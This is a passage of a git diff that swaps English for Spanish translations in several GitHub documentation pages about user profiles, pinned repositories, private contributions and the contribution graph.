+Las personas que visitan tu perfil ven una cronología de tu actividad de colaboración, como las propuestas y las solicitudes de extracción que has abierto, las confirmaciones que has realizado y las solicitudes de extracción que has revisado. Puedes elegir mostrar solo las contribuciones públicas o también incluir las contribuciones privadas, anonimizadas. Para obtener más información, consulta "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)" o "[Divulgar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)".
 
-People who visit your profile can also see the following information.
+Las personas que visitan tu perfil también pueden ver la siguiente información.
 
-- Repositories and gists you own or contribute to. {% ifversion fpt or ghes or ghec %}You can showcase your best work by pinning repositories and gists to your profile. For more information, see "[Pinning items to your profile](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)."{% endif %}
-- Repositories you've starred{% ifversion fpt or ghec %} and organized into lists.{% endif %} For more information, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)."
-- An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."{% ifversion fpt or ghec %}
-- Badges that show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)."{% endif %}
+- Repositorios y gists que te pertenezcan o en los que contribuyas. {% ifversion fpt or ghes or ghec %}Puedes exhibir lo mejor de tu trabajo si fijas los repositorios y gists en tu perfil. Para obtener más información, consulta la sección "[Anclar elementos en tu perfil](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)".{% endif %}
+- Los repositorios que hayas marcado como favoritos{% ifversion fpt or ghec %} y organizado en listas.{% endif %} Para obtener más información, consulta la sección "[Guardar los repositorios marcados como favoritos](/articles/saving-repositories-with-stars/)".
+- Una descripción general de tu actividad en organizaciones, repositorios y equipos en los que eres más activo. Para obtener más información, consulta la sección "[Mostrar un resumen de tu actividad en tu perfil](/articles/showing-an-overview-of-your-activity-on-your-profile).{% ifversion fpt or ghec %}
+- Las insignias que muestran si utilizas {% data variables.product.prodname_pro %} o si participas en programas como {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, o el programa de desarrollador de {% data variables.product.company_short %}. Para obtener más información, consulta la sección "[Personalizar tu perfil](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)".{% endif %}
 
-You can also set a status on your profile to provide information about your availability. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
+También puedes establecer un estado en tu perfil para brindar información sobre tu disponibilidad. Para obtener más información, consulta "[Configurar un estado](/articles/personalizing-your-profile/#setting-a-status)".
 
-## Further reading
+## Leer más
 
-- "[How do I set up my profile picture?](/articles/how-do-i-set-up-my-profile-picture)"
-- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
+- "[¿Cómo configuro mi foto de perfil?](/articles/how-do-i-set-up-my-profile-picture)"
+- "[Divulgar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
+- "[Ver las contribuciones en tu perfil](/articles/viewing-contributions-on-your-profile)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
index 236984b315..e39f4eb5f9 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Pinning items to your profile
-intro: You can pin gists and repositories to your profile so other people can quickly see your best work.
+title: Anclar elementos a tu perfil
+intro: Puedes fijar gists y repositorios en tu perfil para que otras personas puedan ver tus mejores trabajos rápidamente.
 redirect_from:
   - /articles/pinning-repositories-to-your-profile
   - /articles/pinning-items-to-your-profile
@@ -12,28 +12,24 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Pin items
+shortTitle: Fijar elementos
 ---
-You can pin a public repository if you own the repository or you've made contributions to the repository. Commits to forks don't count as contributions, so you can't pin a fork that you don't own. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
 
-You can pin any public gist you own.
+Puedes anclar un repositorio público si eres propietario del repositorio o has realizado contribuciones al repositorio. Las confirmaciones de las bifurcaciones no cuentan como contribuciones, por ello no puedes anclar una bifurcación de la que no eres propietario. Para obtener más información, consulta "[¿Por qué mis contribuciones no se muestran en mi perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
 
-Pinned items include important information about the item, like the number of stars a repository has received or the first few lines of a gist. Once you pin items to your profile, the "Pinned" section replaces the "Popular repositories" section on your profile.
+Puedes fijar cualquier gist público que te pertenezca.
 
-You can reorder the items in the "Pinned" section. In the upper-right corner of a pin, click {% octicon "grabber" aria-label="The grabber symbol" %}  and drag the pin to a new location.
+Los elementos fijados incluyen información importante sobre ellos, como el número de estrellas que ha recibido el repositorio, o algunas de las primeras líneas de un gist. Una vez que hayas anclado elementos a tu perfil, la sección "Pinned" (Anclados) reemplaza a la sección "Popular repositories" (Repositorios populares) en tu perfil.
+
+Puedes reordenar los elementos en la sección "Anclados". En el ángulo superior derecho de un elemento anclado, haz clic en {% octicon "grabber" aria-label="The grabber symbol" %} y arrastra el anclado a una nueva ubicación.
 
 {% data reusables.profile.access_profile %}
-2. In the "Popular repositories" or "Pinned" section, click **Customize your pins**.
-	![Customize your pins button](/assets/images/help/profile/customize-pinned-repositories.png)
-3. To display a searchable list of items to pin, select "Repositories", "Gists", or both.
-	![Checkboxes to select the types of items to display](/assets/images/help/profile/pinned-repo-picker.png)
-4. Optionally, to make it easier to find a specific item, in the filter field, type the name of a user, organization, repository, or gist.
-	![Filter items](/assets/images/help/profile/pinned-repo-search.png)
-5. Select a combination of up to six repositories and/or gists to display.
-	![Select items](/assets/images/help/profile/select-items-to-pin.png)
-6. Click **Save pins**.
-	![Save pins button](/assets/images/help/profile/save-pinned-repositories.png)
+2. En la sección "Repositorios populares" o "Anclados", haz clic en **Customize your pins (Personalizar tus anclados)**. ![Botón para personalizar tus elementos anclados](/assets/images/help/profile/customize-pinned-repositories.png)
+3. Para mostrar una lista de búsqueda de elementos por anclar, selecciona "Repositories" (Repositorios), "Gists" o ambos. ![Casillas de verificación para seleccionar los tipos de elementos a mostrar](/assets/images/help/profile/pinned-repo-picker.png)
+4. Como opción, para que sea más sencillo encontrar un elemento específico, en el campo de filtro, escribe el nombre de un usuario, una organización, un repositorio o un gist. ![Filtrar elementos](/assets/images/help/profile/pinned-repo-search.png)
+5. Selecciona una combinación de hasta seis repositorios o gists para mostrar. ![Seleccionar elementos](/assets/images/help/profile/select-items-to-pin.png)
+6. Haz clic en **Save pins (Guardar anclados)**. ![Botón guardar elementos anclados](/assets/images/help/profile/save-pinned-repositories.png)
 
-## Further reading
+## Leer más
 
-- "[About your profile](/articles/about-your-profile)"
+- "[Acerca de tu perfil](/articles/about-your-profile)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md
index 1bbb5cf677..a9c0ca54de 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Publicizing or hiding your private contributions on your profile
-intro: 'Your {% data variables.product.product_name %} profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from {% ifversion fpt or ghes or ghec %}private and internal{% else %}private{% endif %} repositories{% ifversion fpt or ghes or ghec %} in addition to the activity from public repositories{% endif %}.'
+title: Divulgar u ocultar tus contribuciones privadas en tu perfil
+intro: 'Tu perfil {% data variables.product.product_name %} muestra un gráfico de las contribuciones a tu repositorio durante el último año. Puedes elegir mostrar actividad anonimizada desde repositorios {% ifversion fpt or ghes or ghec %}privados e internos{% else %}privados{% endif %}{% ifversion fpt or ghes or ghec %}adicionalmente a ala actividad de los repositorios públicos{% endif %}.'
 redirect_from:
   - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile
   - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile
@@ -12,27 +12,25 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Private contributions
+shortTitle: Contribuciones privadas
 ---
 
-If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)."
+Si publicas tus contribuciones privadas, las personas sin acceso a los repositorios privados en los que trabajas no podrán ver los detalles de tus contribuciones privadas. En su lugar, verán la cantidad de contribuciones privadas que has realizado durante un determinado día. Tus contribuciones públicas incluirán información detallada. Para obtener más información, consulta "[Ver contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)."
 
 {% note %}
 
-**Note:** {% ifversion fpt or ghes or ghec %}On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, public contributions on your profile are visible {% ifversion fpt or ghec %}to anyone in the world who can access {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}only to other users of {% data variables.product.product_location%}{% endif %}.{% elsif ghae %}On {% data variables.product.prodname_ghe_managed %}, only other members of your enterprise can see the contributions on your profile.{% endif %}
+**Nota:** {% ifversion fpt or ghes or ghec %}En {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_name %}{% endif %}, las contribuciones públicas en tu perfil son visibles {% ifversion fpt or ghec %}para cualquiera en el mundo que pueda acceder a {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}únicamente para otros usuarios de {% data variables.product.product_location%}{% endif %}.{% elsif ghae %}En {% data variables.product.prodname_ghe_managed %}, solo otros miembros de tu empresa pueden ver las contribuciones en tu perfil.{% endif %}
 
 {% endnote %}
 
-## Changing the visibility of your private contributions
+## Cambiar la visibilidad de tus contribuciones privadas
 
 {% data reusables.profile.access_profile %}
-1. Publicize or hide your private contributions on your profile:
-    - To publicize your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and select **Private contributions**. Visitors will see your private contribution counts without further details.
-  ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-on.png)
-    - To hide your private contributions, above your contributions graph, use the **Contribution settings** drop-down menu, and unselect **Private contributions.** Visitors will only see your public contributions.
-   ![Enable visitors to see private contributions from contribution settings drop-down menu](/assets/images/help/profile/private-contributions-off.png)
+1. Divulga u oculta tus contribuciones privadas en tu perfil:
+    - Para publicitar tus contribuciones privadas, arriba de tu gráfico de contribuciones, utiliza el menú desplegable **Contribution settings** (Configuraciones de contribuciones) y selecciona **Private contributions** (Contribuciones privadas). Los visitantes verán tus recuentos de contribuciones privadas sin más detalles. ![Habilitar que los visitantes vean las contribuciones privadas desde el menú desplegable de configuraciones de contribuciones](/assets/images/help/profile/private-contributions-on.png)
+    - Para ocultar tus contribuciones privadas, arriba de tu gráfico de contribuciones, utiliza el menú desplegable **Contribution settings** (Configuraciones de contribuciones) y anula la selección de **Private contributions** (Contribuciones privadas). Los visitantes únicamente verán tus contribuciones públicas. ![Habilitar que los visitantes vean las contribuciones privadas desde el menú desplegable de configuraciones de contribuciones](/assets/images/help/profile/private-contributions-off.png)
 
-## Further reading
+## Leer más
 
-- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)"
-- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
+- "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)"
+- "[¿Por qué mis contribuciones no se ven en mi perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
index 9084cb9a07..55cf0decce 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Sending enterprise contributions to your GitHub.com profile
-intro: 'You can highlight your work on {% data variables.product.prodname_enterprise %} by sending the contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile.'
+title: Enviar contribuciones empresariales a tu perfil de GitHub.com
+intro: 'Puedes resaltar tu trabajo en {% data variables.product.prodname_enterprise %} al enviar los recuentos de contribuciones a tu perfil {% data variables.product.prodname_dotcom_the_website %}.'
 redirect_from:
   - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile
   - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile
@@ -14,49 +14,46 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Send enterprise contributions
+shortTitle: Enviar contribuciones empresariales
 ---
 
-## About enterprise contributions on your {% data variables.product.prodname_dotcom_the_website %} profile
+## Acerca de las contribuciones empresariales en tu perfil de {% data variables.product.prodname_dotcom_the_website %}
 
-Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}.
+Tu perfil de {% data variables.product.prodname_dotcom_the_website %} muestra el conteo de contribuciones de {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} de los 90 días anteriores. {% data reusables.github-connect.sync-frequency %} Los conteos de contribuciones de {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} se consideran contribuciones privadas. Los detalles de confirmación solo mostrarán los conteos de contribuciones y que estas se hicieron en un ambiente de {% data variables.product.prodname_enterprise %} fuera de {% data variables.product.prodname_dotcom_the_website %}.
 
-You can decide whether to show counts for private contributions on your profile. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)."
+Puedes decidir si quieres que se muestren los conteos de las contribuciones privadas en tu perfil. Para obtener más información, consulta "[Publicar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)."
 
-For more information about how contributions are calculated, see "[Managing contribution graphs on your profile](/articles/managing-contribution-graphs-on-your-profile/)."
+Para obtener más información acerca de cómo se calculan las contribuciones, consulta "[Administrar gráficos de contribuciones en tu perfil](/articles/managing-contribution-graphs-on-your-profile/)."
 
 {% note %}
 
-**Notes:**
-- The connection between your accounts is governed by <a href="/articles/github-privacy-statement/" class="dotcom-only">GitHub's Privacy Statement</a> and users enabling the connection agree to the <a href="/articles/github-terms-of-service/" class="dotcom-only">GitHub's Terms of Service</a>.
+**Notas:**
+- La conexión entre tus cuentas está regulada por la <a href="/articles/github-privacy-statement/" class="dotcom-only">Declaración de privacidad de GitHub</a>, y los usuarios que habilitan la conexión aceptan los Términos de servicio de GitHub<a href="/articles/github-terms-of-service/" class="dotcom-only"></a>.
 
-- Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner.
+- Antes de que puedas conectar tu perfil de {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} a tu perfil de {% data variables.product.prodname_dotcom_the_website %}, tu empresa debe habilitar {% data variables.product.prodname_github_connect %} y también el compartir contribuciones entre los ambientes. Para obtener más información, contacta a tu propietario de empresa.
 
 {% endnote %}
 
-## Sending your enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile
+## Enviar las contribuciones de tu empresa a tu perfil de {% data variables.product.prodname_dotcom_the_website %}
 
 {% ifversion fpt or ghec %}
 
-- To send enterprise contributions from {% data variables.product.prodname_ghe_server %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_server %} documentation.
-- To send enterprise contributions from {% data variables.product.prodname_ghe_managed %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_managed %} documentation.
+- Para enviar contribuciones empresariales desde {% data variables.product.prodname_ghe_server %} a tu perfil de {% data variables.product.prodname_dotcom_the_website %}, consulta la sección "[Enviar contribuciones empresariales a tu perfil de {% data variables.product.prodname_dotcom_the_website %}](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" en la documentación de {% data variables.product.prodname_ghe_server %}.
+- Para enviar contribuciones empresariales desde {% data variables.product.prodname_ghe_managed %} a tu perfil de {% data variables.product.prodname_dotcom_the_website %}, consulta la sección "[Enviar contribuciones empresariales a tu perfil de {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" en la documentación de {% data variables.product.prodname_ghe_managed %}.
 
 {% elsif ghes %}
 
-1. Sign in to {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-   ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. Iniciar sesión en {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_dotcom_the_website %}.
+1. En {% data variables.product.prodname_ghe_server %}, en la esquina superior derecha de cualquier página, haz clic en tu foto de perfil y luego haz clic en **Ajustes**. ![Icono Settings (Parámetros) en la barra de usuario](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
-1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %} account, then click **Authorize**.
-   ![Authorize connection between GitHub Enterprise Server and GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png)
+1. Revisa los recursos a los que {% data variables.product.prodname_ghe_server %} accederá desde tu cuenta de {% data variables.product.prodname_dotcom_the_website %}, posteriormente, da clic en **Autorizar**. ![Autorizar conexión entre GitHub Enterprise Server y GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png)
 {% data reusables.github-connect.send-contribution-counts-to-githubcom %}
 
 {% elsif ghae %}
 
-1. Sign in to {% data variables.product.prodname_ghe_managed %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-   ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. Iniciar sesión en {% data variables.product.prodname_ghe_managed %} y {% data variables.product.prodname_dotcom_the_website %}.
+1. En {% data variables.product.prodname_ghe_managed %}, en la esquina superior derecha de cualquier página, haz clic en tu foto de perfil y luego haz clic en **Ajustes**. ![Icono Settings (Parámetros) en la barra de usuario](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
 {% data reusables.github-connect.authorize-connection %}
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md
index 390e4d81e0..9985a86afc 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing contributions on your profile
-intro: 'Your {% data variables.product.product_name %} profile shows off {% ifversion fpt or ghes or ghec %}your pinned repositories as well as{% endif %} a graph of your repository contributions over the past year.'
+title: Ver contribuciones en tu perfil
+intro: 'Tu perfil de {% data variables.product.product_name %} presume {% ifversion fpt or ghes or ghec %}tus repositorios anclados, así como{% endif %} una gráfica de tus contribuciones al repositorio en el último año.'
 redirect_from:
   - /articles/viewing-contributions
   - /articles/viewing-contributions-on-your-profile-page
@@ -14,91 +14,92 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: View contributions
+shortTitle: Visualizar contribuciones
 ---
-{% ifversion fpt or ghes or ghec %}Your contribution graph shows activity from public repositories. {% endif %}You can choose to show activity from {% ifversion fpt or ghes or ghec %}both public and {% endif %}private repositories, with specific details of your activity in private repositories anonymized. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+
+{% ifversion fpt or ghes or ghec %}Tu gráfica de contribuciones muestra la actividad de los repositorios públicos. {% endif %}Puedes elegir que se muestre la actividad tanto de {% ifversion fpt or ghes or ghec %}los repositorios públicos como la de {% endif %}los privados, con detalles específicos de tu actividad anonimizada en los repositorios privados. Para obtener más información, consulte "[Publicar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
 
 {% note %}
 
-**Note:** Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your account on {% data variables.product.product_name %}. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
+**Nota:** Las confirmaciones solo aparecerán en tu gráfica de contribuciones si la dirección de correo electrónico que utilizaste para crear las confirmaciones está conectada a tu cuenta en {% data variables.product.product_name %}. Para obtener más información, consulta"[¿Por qué mis contribuciones no se muestran en mi perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)"
 
 {% endnote %}
 
-## What counts as a contribution
+## Qué cuenta como una contribución
 
-On your profile page, certain actions count as contributions:
+En tu página de perfil, determinadas acciones cuentan como contribuciones:
 
-- Committing to a repository's default branch or `gh-pages` branch
-- Opening an issue
-- Opening a discussion
-- Answering a discussion
-- Proposing a pull request
-- Submitting a pull request review{% ifversion ghes or ghae %}
-- Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %}
+- Confirmar cambios en una rama por defecto de un repositorio o en la rama `gh-pages`
+- Abrir una propuesta
+- Iniciar un debate
+- Responder a un debate
+- Proponer una solicitud de extracción
+- Enviar una revisión de solicitud de extracción{% ifversion ghes or ghae %}
+- Confirmar como coautor en la rama por defecto de un repositorio o en la rama `gh-pages`{% endif %}
 
 {% data reusables.pull_requests.pull_request_merges_and_contributions %}
 
-## Popular repositories
+## Repositorios populares
 
-This section displays your repositories with the most watchers. {% ifversion fpt or ghes or ghec %}Once you [pin repositories to your profile](/articles/pinning-repositories-to-your-profile), this section will change to "Pinned repositories."{% endif %}
+Esta sección muestra tus repositorios con la mayor cantidad de observadores. {% ifversion fpt or ghes or ghec %}Una vez que [anclas los repositorios a tu perfil](/articles/pinning-repositories-to-your-profile), esta sección cambiará a "Repositorios anclados".{% endif %}
 
-![Popular repositories](/assets/images/help/profile/profile_popular_repositories.png)
+![Repositorios populares](/assets/images/help/profile/profile_popular_repositories.png)
 
 {% ifversion fpt or ghes or ghec %}
 
-## Pinned repositories
+## Repositorios anclados
 
-This section displays up to six public repositories and can include your repositories as well as repositories you've contributed to. To easily see important details about the repositories you've chosen to feature, each repository in this section includes a summary of the work being done, the number of [stars](/articles/saving-repositories-with-stars/) the repository has received, and the main programming language used in the repository. For more information, see "[Pinning repositories to your profile](/articles/pinning-repositories-to-your-profile)."
+Esta sección muestra hasta seis repositorios públicos y puede incluir tus repositorios y los repositorios a los que has contribuidos. Para ver fácilmente detalles importantes sobre los repositorios que has seleccionado para mostrar, cada repositorio en esta sección incluye un resumen del trabajo que se está realizando, la cantidad de [estrellas](/articles/saving-repositories-with-stars/) que el repositorio ha recibido y el lenguaje de programación principal utilizado en el repositorio. Para obtener más información, consulta "[Anclar repositorios en tu perfil](/articles/pinning-repositories-to-your-profile)."
 
-![Pinned repositories](/assets/images/help/profile/profile_pinned_repositories.png)
+![Repositorios anclados](/assets/images/help/profile/profile_pinned_repositories.png)
 
 {% endif %}
 
-## Contributions calendar
+## Calendario de contribuciones
 
-Your contributions calendar shows your contribution activity.
+Tu calendario de contribuciones muestra tu actividad de contribuciones.
 
-### Viewing contributions from specific times
+### Ver contribuciones de momentos específicos
 
-- Click on a day's square to show the contributions made during that 24-hour period.
-- Press *Shift* and click on another day's square to show contributions made during that time span.
+- Haz clic en el cuadrado de un día para mostrar las contribuciones realizadas durante ese período de 24 horas.
+- Presiona *Shift* y haz clic en el cuadrado de otro día para mostrar las contribuciones que se hicieron durante ese rango tiempo.
 
 {% note %}
 
-**Note:** You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions.
+**Nota:** puedes seleccionar hasta un rango de un mes en tu calendario de contribuciones. Si seleccionas un rango de tiempo más amplio, solo mostraremos un mes de contribuciones.
 
 {% endnote %}
 
-![Your contributions graph](/assets/images/help/profile/contributions_graph.png)
+![Tu gráfico de contribuciones](/assets/images/help/profile/contributions_graph.png)
 
-### How contribution event times are calculated
+### Cómo se calculan los momentos de los eventos de las contribuciones
 
-Timestamps are calculated differently for commits and pull requests:
-- **Commits** use the time zone information in the commit timestamp. For more information, see "[Troubleshooting commits on your timeline](/articles/troubleshooting-commits-on-your-timeline)."
-- **Pull requests** and **issues** opened on {% data variables.product.product_name %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes).
+Las marcas horarias se calculan de forma diferente para las confirmaciones y las solicitudes de extracción:
+- **Confirmaciones** utilizan la información de la zona horaria en la marca de tiempo de la confirmación. Para obtener más información, consulta "[Solución de problemas con confirmaciones en tu cronología](/articles/troubleshooting-commits-on-your-timeline)."
+- **Las solicitudes de extracción** y **las propuestas** abiertas en {% data variables.product.product_name %} utilizan la zona horaria de tu navegador. Aquellas abiertas a través de API utilizan la marca horaria o la zona horaria [especificada en la llamada de API](https://developer.github.com/changes/2014-03-04-timezone-handling-changes).
 
-## Activity overview
+## Resumen de la actividad
 
-{% data reusables.profile.activity-overview-summary %} For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+{% data reusables.profile.activity-overview-summary %} Para obtener más información, consulta "[Mostrar un resumen de tu actividad en tu perfil](/articles/showing-an-overview-of-your-activity-on-your-profile)."
 
-![Activity overview section on profile](/assets/images/help/profile/activity-overview-section.png)
+![Sección de resumen de actividad en el perfil](/assets/images/help/profile/activity-overview-section.png)
 
-The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" or "[Adding a bio to your profile](/articles/adding-a-bio-to-your-profile/)."
+Las organizaciones que se muestran en el resumen de la actividad se priorizan de acuerdo con qué tan activo estés en la organización. Si mencionas una organización en tu biografía de perfil y eres miembro de una organización, entonces esa organización se prioriza en el resumen de la actividad. Para obtener más información, consulta la sección “[Mencionar personas y equipos](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)” o "[Agregar una biografía en tu perfil](/articles/adding-a-bio-to-your-profile/)".
 
